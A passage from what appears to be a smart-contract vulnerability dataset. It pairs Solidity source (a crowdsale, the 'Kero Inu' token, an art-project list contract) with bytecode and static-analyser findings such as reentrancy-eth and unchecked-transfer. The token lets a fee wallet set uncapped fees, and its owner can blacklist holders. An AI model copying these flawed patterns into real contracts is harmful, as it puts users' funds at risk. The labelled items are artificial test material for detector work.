function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
// File: contracts/KeyrptoCrowdsale2.sol
contract KeyrptoCrowdsale2 is TimedCrowdsale, AllowanceCrowdsale {
function KeyrptoCrowdsale2(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
ERC20 _token) public
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
AllowanceCrowdsale(_wallet)
{
// Empty constructor
}
/**
* @dev Extend parent behavior adding pricing tiers
* @param _weiAmount Amount of wei contributed
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(getRateIncludingBonus());
}
function getRateIncludingBonus() internal view returns (uint256) {
if (now < openingTime + 1 weeks) {
return rate.mul(125).div(100);
} else if (now < openingTime + 3 weeks) {
return rate.mul(115).div(100);
} else if (now < openingTime + 5 weeks) {
return rate.mul(110).div(100);
} else {
return rate;
}
}
}
|
0x60606040526004361061008a5763ffffffff60e060020a6000350416631515bc2b81146100955780632c4e722e146100bc5780634042b66f146100e15780634b6753bc146100f4578063521eb27314610107578063b7a8807c14610136578063bf58390314610149578063bff99c6c1461015c578063ec8ac4d81461016f578063fc0c546a14610183575b61009333610196565b005b34156100a057600080fd5b6100a861023e565b604051901515815260200160405180910390f35b34156100c757600080fd5b6100cf610247565b60405190815260200160405180910390f35b34156100ec57600080fd5b6100cf61024d565b34156100ff57600080fd5b6100cf610253565b341561011257600080fd5b61011a610259565b604051600160a060020a03909116815260200160405180910390f35b341561014157600080fd5b6100cf610268565b341561015457600080fd5b6100cf61026e565b341561016757600080fd5b61011a6102f5565b610093600160a060020a0360043516610196565b341561018e57600080fd5b61011a610304565b3460006101a38383610313565b6101ac82610340565b6003549091506101c2908363ffffffff61036016565b6003556101cf838261037a565b82600160a060020a031633600160a060020a03167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18848460405191825260208201526040908101905180910390a3610227838361033c565b61022f610384565b610239838361033c565b505050565b60055442115b90565b60025481565b60035481565b60055481565b600154600160a060020a031681565b60045481565b60008054600654600160a060020a039182169163dd62ed3e911630846040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156102d657600080fd5b6102c65a03f115156102e757600080fd5b505050604051805191505090565b600654600160a060020a031681565b600054600160a060020a031681565b600454421015801561032757506005544211155b151561033257600080fd5b61033c82826103ba565b5050565b600061035a61034d6103db565b839063ffffffff61047716565b92915050565b60008282018381101561036f57fe5b8091505b5092915050565b61033c82826104a2565b600154600160a060020a03163480156108fc0290604051600060405180830381858888f1935050505015156103b857600080fd5b565b600160a060020a03821615156103cf57600080fd5b80151561033c57600080fd5b600060045462093a800142101561041a576104136064610407607d60025461047790919063ffffffff16565b9063ffffffff61053816565b9050610244565b600454621baf8001421015610444576104136064610407607360025461047790919063ffffffff16565b600454622e24800142101561046e576104136064610407606e60025461047790919063ffffffff16565b50600254610244565b60008083151561048a5760009150610373565b5082820282848281151561049a57fe5b041461036f57fe5b60008054600654600160a060020a03918216926323b872dd9290911690859085906040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561051957600080fd5b6102c65a03f1151561052a57600080fd5b505050604051805150505050565b600080828481151561054657fe5b049493505050505600a165627a7a72305820b0d4fdebb6c579e14e9fe3327f5cdd375a0635f12b35df8ba8764d07fde25a1c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 1,660 |
0xfa903ac7caf615464e3c2032a9c1ee4956f9f31c
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KeroInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 = payable(0xca23cFF76eA50ceD54E9a44B25B4D09bEb5a24fB);
address payable private _feeAddrWallet2 = payable(0xca23cFF76eA50ceD54E9a44B25B4D09bEb5a24fB);
string private constant _name = "Kero Inu";
string private constant _symbol = "KERO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a1461031d578063c3c8cd801461033d578063c9567bf914610352578063cfe81ba014610367578063dd62ed3e1461038757600080fd5b8063715018a614610273578063842b7c08146102885780638da5cb5b146102a857806395d89b41146102d0578063a9059cbb146102fd57600080fd5b8063273123b7116100e7578063273123b7146101e0578063313ce567146102025780635932ead11461021e5780636fc3eaec1461023e57806370a082311461025357600080fd5b806306fdde0314610124578063095ea7b31461016757806318160ddd1461019757806323b872dd146101c057600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260088152674b65726f20496e7560c01b60208201525b60405161015e9190611879565b60405180910390f35b34801561017357600080fd5b50610187610182366004611700565b6103cd565b604051901515815260200161015e565b3480156101a357600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015e565b3480156101cc57600080fd5b506101876101db3660046116bf565b6103e4565b3480156101ec57600080fd5b506102006101fb36600461164c565b61044d565b005b34801561020e57600080fd5b506040516009815260200161015e565b34801561022a57600080fd5b506102006102393660046117f8565b6104a1565b34801561024a57600080fd5b506102006104e9565b34801561025f57600080fd5b506101b261026e36600461164c565b610516565b34801561027f57600080fd5b50610200610538565b34801561029457600080fd5b506102006102a3366004611832565b6105ac565b3480156102b457600080fd5b506000546040516001600160a01b03909116815260200161015e565b3480156102dc57600080fd5b506040805180820190915260048152634b45524f60e01b6020820152610151565b34801561030957600080fd5b50610187610318366004611700565b610603565b34801561032957600080fd5b5061020061033836600461172c565b610610565b34801561034957600080fd5b506102006106a6565b34801561035e57600080fd5b506102006106dc565b34801561037357600080fd5b50610200610382366004611832565b610aa5565b34801561039357600080fd5b506101b26103a2366004611686565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103da338484610afc565b5060015b92915050565b60006103f1848484610c20565b610443843361043e85604051806060016040528060288152602001611a65602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f03565b610afc565b5060019392505050565b6000546001600160a01b031633146104805760405162461bcd60e51b8152600401610477906118ce565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cb5760405162461bcd60e51b8152600401610477906118ce565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050957600080fd5b4761051381610f3d565b50565b6001600160a01b0381166000908152600260205260408120546103de90610fc2565b6000546001600160a01b031633146105625760405162461bcd60e51b8152600401610477906118ce565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146105fe5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610477565b600a55565b60006103da338484610c20565b6000546001600160a01b0316331461063a5760405162461bcd60e51b8152600401610477906118ce565b60005b81518110156106a25760016006600084848151811061065e5761065e611a15565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069a816119e4565b91505061063d565b5050565b600c546001600160a01b0316336001600160a01b0316146106c657600080fd5b60006106d130610516565b905061051381611046565b6000546001600160a01b031633146107065760405162461bcd60e51b8152600401610477906118ce565b600f54600160a01b900460ff16156107605760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610477565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a030826b033b2e3c9fd0803ce8000000610afc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d957600080fd5b505afa1580156107ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108119190611669565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085957600080fd5b505afa15801561086d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108919190611669565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108d957600080fd5b505af11580156108ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109119190611669565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061094181610516565b6000806109566000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109b957600080fd5b505af11580156109cd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f2919061184b565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a6d57600080fd5b505af1158015610a81573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a29190611815565b600d546001600160a01b0316336001600160a01b031614610af75760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610477565b600b55565b6001600160a01b038316610b5e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610477565b6001600160a01b038216610bbf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610477565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610477565b6001600160a01b038216610ce65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610477565b60008111610d485760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610477565b6000546001600160a01b03848116911614801590610d7457506000546001600160a01b03838116911614155b15610ef3576001600160a01b03831660009081526006602052604090205460ff16158015610dbb57506001600160a01b03821660009081526006602052604090205460ff16155b610dc457600080fd5b600f546001600160a01b038481169116148015610def5750600e546001600160a01b03838116911614155b8015610e1457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e295750600f54600160b81b900460ff165b15610e8657601054811115610e3d57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6157600080fd5b610e6c42601e611974565b6001600160a01b0383166000908152600760205260409020555b6000610e9130610516565b600f54909150600160a81b900460ff16158015610ebc5750600f546001600160a01b03858116911614155b8015610ed15750600f54600160b01b900460ff165b15610ef157610edf81611046565b478015610eef57610eef47610f3d565b505b505b610efe8383836111cf565b505050565b60008184841115610f275760405162461bcd60e51b81526004016104779190611879565b506000610f3484866119cd565b95945050505050565b600c546001600160a01b03166108fc610f578360026111da565b6040518115909202916000818181858888f19350505050158015610f7f573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9a8360026111da565b6040518115909202916000818181858888f193505050501580156106a2573d6000803e3d6000fd5b60006008548211156110295760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610477565b600061103361121c565b905061103f83826111da565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061108e5761108e611a15565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e257600080fd5b505afa1580156110f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111a9190611669565b8160018151811061112d5761112d611a15565b6001600160a01b039283166020918202929092010152600e546111539130911684610afc565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118c908590600090869030904290600401611903565b600060405180830381600087803b1580156111a657600080fd5b505af11580156111ba573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610efe83838361123f565b600061103f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611336565b6000806000611229611364565b909250905061123882826111da565b9250505090565b600080600080600080611251876113ac565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112839087611409565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b2908661144b565b6001600160a01b0389166000908152600260205260409020556112d4816114aa565b6112de84836114f4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132391815260200190565b60405180910390a3505050505050505050565b600081836113575760405162461bcd60e51b81526004016104779190611879565b506000610f34848661198c565b60085460009081906b033b2e3c9fd0803ce800000061138382826111da565b8210156113a3575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113c98a600a54600b54611518565b92509250925060006113d961121c565b905060008060006113ec8e87878761156d565b919e509c509a509598509396509194505050505091939550919395565b600061103f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f03565b6000806114588385611974565b90508381101561103f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610477565b60006114b461121c565b905060006114c283836115bd565b306000908152600260205260409020549091506114df908261144b565b30600090815260026020526040902055505050565b6008546115019083611409565b600855600954611511908261144b565b6009555050565b6000808080611532606461152c89896115bd565b906111da565b90506000611545606461152c8a896115bd565b9050600061155d826115578b86611409565b90611409565b9992985090965090945050505050565b600080808061157c88866115bd565b9050600061158a88876115bd565b9050600061159888886115bd565b905060006115aa826115578686611409565b939b939a50919850919650505050505050565b6000826115cc575060006103de565b60006115d883856119ae565b9050826115e5858361198c565b1461103f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610477565b803561164781611a41565b919050565b60006020828403121561165e57600080fd5b813561103f81611a41565b60006020828403121561167b57600080fd5b815161103f81611a41565b6000806040838503121561169957600080fd5b82356116a481611a41565b915060208301356116b481611a41565b809150509250929050565b6000806000606084860312156116d457600080fd5b83356116df81611a41565b925060208401356116ef81611a41565b929592945050506040919091013590565b6000806040838503121561171357600080fd5b823561171e81611a41565b946020939093013593505050565b6000602080838503121561173f57600080fd5b823567ffffffffffffffff8082111561175757600080fd5b818501915085601f83011261176b57600080fd5b81358181111561177d5761177d611a2b565b8060051b604051601f19603f830116810181811085821117156117a2576117a2611a2b565b604052828152858101935084860182860187018a10156117c157600080fd5b600095505b838610156117eb576117d78161163c565b8552600195909501949386019386016117c6565b5098975050505050505050565b60006020828403121561180a57600080fd5b813561103f81611a56565b60006020828403121561182757600080fd5b815161103f81611a56565b60006020828403121561184457600080fd5b5035919050565b60008060006060848603121561186057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118a65785810183015185820160400152820161188a565b818111156118b8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119535784516001600160a01b03168352938301939183019160010161192e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611987576119876119ff565b500190565b6000826119a957634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119c8576119c86119ff565b500290565b6000828210156119df576119df6119ff565b500390565b60006000198214156119f8576119f86119ff565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051357600080fd5b801515811461051357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c06ce3afd6b084b0303ee700f970889a4f6997e8b73e436d99696654e785ab2864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,661 |
0x4bb0f20cf2e4cd470ed9537b1b69aa7a2c53707d
|
// The list below in the array listTINAmotley is recited in the video
// "List, Glory" by Greg Smith. The elements of listTINAmotley can be
// claimed, transferred, bought, and sold. Users can also add to the
// original list.
// Code is based on CryptoPunks, by Larva Labs.
// List elements in listTINAmotley contain text snippets from
// Margaret Thatcher, Donna Haraway (A Cyborg Manfesto), Francois
// Rabelias (Gargantua and Pantagruel), Walt Whitman (Germs), and
// Miguel de Cervantes (Don Quixote).
// This is part of exhibitions at the John Michael Kohler Art Center in
// Sheboygan, WI, and at Susan Inglett Gallery in New York, NY.
// A list element associated with _index can be claimed if
// gift_CanBeClaimed(_index) returns true. For inquiries
// about receiving lines owned by info_ownerOfContract for free,
// email <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="afe3c6dcdbfbe6e1eec2c0dbc3cad6efc8c2cec6c381ccc0c281">[email protected]</a>
// In general, the functions that begin with "gift_" are used for
// claiming, transferring, and creating script lines without cost beyond
// the transaction fee. For example, to claim an available list element
// associated with _index, execute the gift_ClaimTINAmotleyLine(_index)
// function.
// The functions that begin with "info_" are used to obtain information
// about aspects of the program state, including the address that owns
// a list element, and the "for sale" or "bid" status of a list element.
// The functions that begin with "market_" are used for buying, selling, and
// placing bids on a list element. For example, to bid on the list element
// associated with _index, send the bid (in wei, not ether) along with
// the function execution of market_DeclareBid(_index).
// Note that if there's a transaction involving ether (successful sale,
// accepted bid, etc..), the ether (don't forget: in units of wei) is not
// automatically credited to an account; it has to be withdrawn by
// calling market_WithdrawWei().
// Source code and code used to test the contract are available at
// https://github.com/ListTINAmotley/_List_Glory_
// EVERYTHING IS IN UNITS OF WEI, NOT ETHER!
pragma solidity ^0.4.24;
contract _List_Glory_{
string public info_Name;
string public info_Symbol;
address public info_OwnerOfContract;
// Contains the list
string[] private listTINAmotley;
// Contains the total number of elements in the list
uint256 private listTINAmotleyTotalSupply;
mapping (uint => address) private listTINAmotleyIndexToAddress;
mapping(address => uint256) private listTINAmotleyBalanceOf;
// Put list element up for sale by owner. Can be linked to specific
// potential buyer
struct forSaleInfo {
bool isForSale;
uint256 tokenIndex;
address seller;
uint256 minValue; //in wei.... everything in wei
address onlySellTo; // specify to sell only to a specific person
}
// Place bid for specific list element
struct bidInfo {
bool hasBid;
uint256 tokenIndex;
address bidder;
uint256 value;
}
// Public info about tokens for sale.
mapping (uint256 => forSaleInfo) public info_ForSaleInfoByIndex;
// Public info about highest bid for each token.
mapping (uint256 => bidInfo) public info_BidInfoByIndex;
// Information about withdrawals (in units of wei) available
// ... for addresses due to failed bids, successful sales, etc...
mapping (address => uint256) public info_PendingWithdrawals;
//Events
event Claim(uint256 tokenId, address indexed to);
event Transfer(uint256 tokenId, address indexed from, address indexed to);
event ForSaleDeclared(uint256 indexed tokenId, address indexed from,
uint256 minValue,address indexed to);
event ForSaleWithdrawn(uint256 indexed tokenId, address indexed from);
event ForSaleBought(uint256 indexed tokenId, uint256 value,
address indexed from, address indexed to);
event BidDeclared(uint256 indexed tokenId, uint256 value,
address indexed from);
event BidWithdrawn(uint256 indexed tokenId, uint256 value,
address indexed from);
event BidAccepted(uint256 indexed tokenId, uint256 value,
address indexed from, address indexed to);
constructor () public {
info_OwnerOfContract = msg.sender;
info_Name = "List, Glory";
info_Symbol = "L, G";
listTINAmotley.push("Now that, that there, that's for everyone");
listTINAmotleyIndexToAddress[0] = address(0);
listTINAmotley.push("Everyone's invited");
listTINAmotleyIndexToAddress[1] = address(0);
listTINAmotley.push("Just bring your lists");
listTINAmotleyIndexToAddress[2] = address(0);
listTINAmotley.push("The for godsakes of surveillance");
listTINAmotleyIndexToAddress[3] = address(0);
listTINAmotley.push("The shitabranna of there is no alternative");
listTINAmotleyIndexToAddress[4] = address(0);
